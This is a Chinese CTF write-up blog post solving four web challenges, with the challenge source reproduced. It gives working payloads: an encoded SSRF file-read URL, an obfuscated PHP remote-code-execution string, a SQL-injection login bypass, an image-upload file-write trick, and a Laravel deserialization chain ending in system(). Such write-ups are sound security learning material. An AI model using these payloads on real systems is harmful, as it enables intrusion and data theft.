Author:颖奇L’Amore

Blog:www.gem-love.com

在屯了1个flag没交的情况下打进了前40,线下决赛见


do you know

考点:代码审计

难度:baby

上来就是代码

<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件


    $res = curl_exec($ch);
    var_dump($res);

还有别的文件,应该是ssrf+xxe,用gopher打,然而出题人出现了致命错误:

$poc=$_SERVER['QUERY_STRING'];

看不出来的建议去温习一下我出的一道题:

2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup

因为QUERY_STRING不会urldecode,所以只需要进行url编码绕过就可以了,我出的这个题里就有这个考点。

然后本题只要把字母也urlencode就直接bypass了正则,然后就随便打了,直接curl一下file:///var/www/html/flag.php即可,想读什么文件就读什么文件,一分钟做完,xswl

http://121.36.64.91/?a=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&b=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

就算是用gopher,后面也还是有非预期


hate-php

考点:bypass and RCE

难度:简单

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

题目有两层过滤,第一个正则过滤了一些符号了flag.ph中任意的字符,第二个foreach过滤了所有内置函数

利用取反,构造system(end(getallheaders()))

payload:

http://121.36.74.163/?code=(~(%8c%86%8c%8b%9a%92))((~(%9a%91%9b))((~(%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c))()))

然后在header最后加上cat flag.php即可

解法不唯一,比如require并不在内置函数的数组里,可以直接用


美团外卖

考点:SQL注入、代码审计

难度:普通

这破题真的,没啥意思。感觉像是什么课设作业拿过来魔改的,而且这代码,中英结合,用拼音做变量名,我是真的无语

扫出来www.zip源码

首先是个登录框,审一下代码发现可以用2019 GXYCTF EasySQLiv1.0的套路,自己构造一个union select即可

function Login(){
	$x1=1;//用户名长度限制
	$x2=1;//用户密码长度限制
	if(strlen(P('username'))>0 and strlen(P('password'))>0){
        if(1<0){
            Nts('请输入信息登录');
        }
        else{

            if(GetValue('admin.upass',"uname='".P('username')."' and id>0")==md5(P('password'))){
            $_SESSION['adminuser']=array();
            $_SESSION['adminuser']['uname'] = GetValue('admin.uname',"uname='".P('username')."' and id>0");
            $_SESSION['adminuser']['id'] = GetValue('admin.id',"uname='".P('username')."' and id>0");
            $_SESSION['adminuser']['qudao'] = GetValue('admin.qudao',"uname='".P('username')."' and id>0");
                Tz('index');
            }
            else{
                Nts('登录失败!');
            }

        }
	}
}
用户名 : ' union select "770f0f8b605cfd2ba494849d948d34ef"#
密码  : y1ng

登陆上来之后没找到什么可以利用的地方。然后继续审代码,在daochu.php发现了无任何过滤的SQL注入:

而且是有回显的,就直接构造联合查询就行了。查到有个hint表,从里面查出了一个hint:see_the_dir_956c110ef9decdd920249f5fed9e4427

进了这个目录之后,和根目录简直是完全一样,然而这里面没有www.zip了。

经过一番测试,发现源码里给了一个lib目录,然而在根目录下是无法访问的,然后在hint的目录里居然可以访问了

这lib里有非常多的东西,然而基本都是js的,很显然本题目用不上,所以来这里面找一下php文件:

做到这一步,实际上就一个一个文件审计就可以了,然而其实还有更简单的方法,我记不清windows的资源管理器会不会显示这个文件最后的修改日期了,反正Mac的访达会显示,其他文件的修改日期都很久远,说明是作者直接拿过来的,然而preview.php修改日期是昨天的13:20,说明这是出题人最新编辑过的文件,考点就直接定位到这个文件了

然后就审一下代码呗

<?php
/**
 * 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
 */

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
    @mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
    if (!is_dir($DIR) || !$dir = opendir($DIR)) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
    }

    while (($file = readdir($dir)) !== false) {
        $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

        // Remove temp file if it is older than the max age and is not the current file
        if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
            @unlink($tmpfilePath);
        }
    }
    closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
   if ($type === 'jpeg'||$type==='php') {
        die("no hacker");
        #$type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

} else {
    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

根据这个php://input以及preg_match()

来构造一个POST的包试一下

题目返回了一个神秘文件,访问之后提示get file,所以就直接读flag就可以了


Laravel

考点:Laravel框架审计、反序列化

难度:困难

app/Http/Controllers/TaskController.php中存在反序列化位点:

在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中有析构方法,调用$parent属性的addCollection()方法,然后在构造方法里$parent是可控的

全局搜索addCollection()没有找到什么好用的,然后找__call()魔术方法,在vendor/fzaninotto/faker/src/Faker/Generator.php中就有,为什么找这个呢?主要是类下能调用回调函数

<?php

namespace Faker;

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }


    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
}

因为addCollection()不存在,就会触发__call()方法,然后调用$this->format()方法;在format()方法内返回call_user_func_array()来调用回调函数,$this->getFormatter($formatter)就是回调函数,$argument自然就是回调函数的参数了。

之后就是跟进$this->getFormatter($formatter),可以看出getFormatter()的返回值也是可控的:

if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }

所以通过控制$this->formatters为一数组,数组键值为system,然后$argument为回调system()的参数来实现命令执行。

然后因为__call()的特性,$this->format()的第一个参数$methodImportConfigurator中析构方法调用的addCollection,然后在$this->format()中又传给$this->getFormatter($formatter),这个$formatter就是addCollection。刚刚说了键值为system,键名$formatter就需要设置为addCollection,这样才能通过call_user_func_array($this->getFormatter($formatter), $arguments)来触发system()

exp:

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2380.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image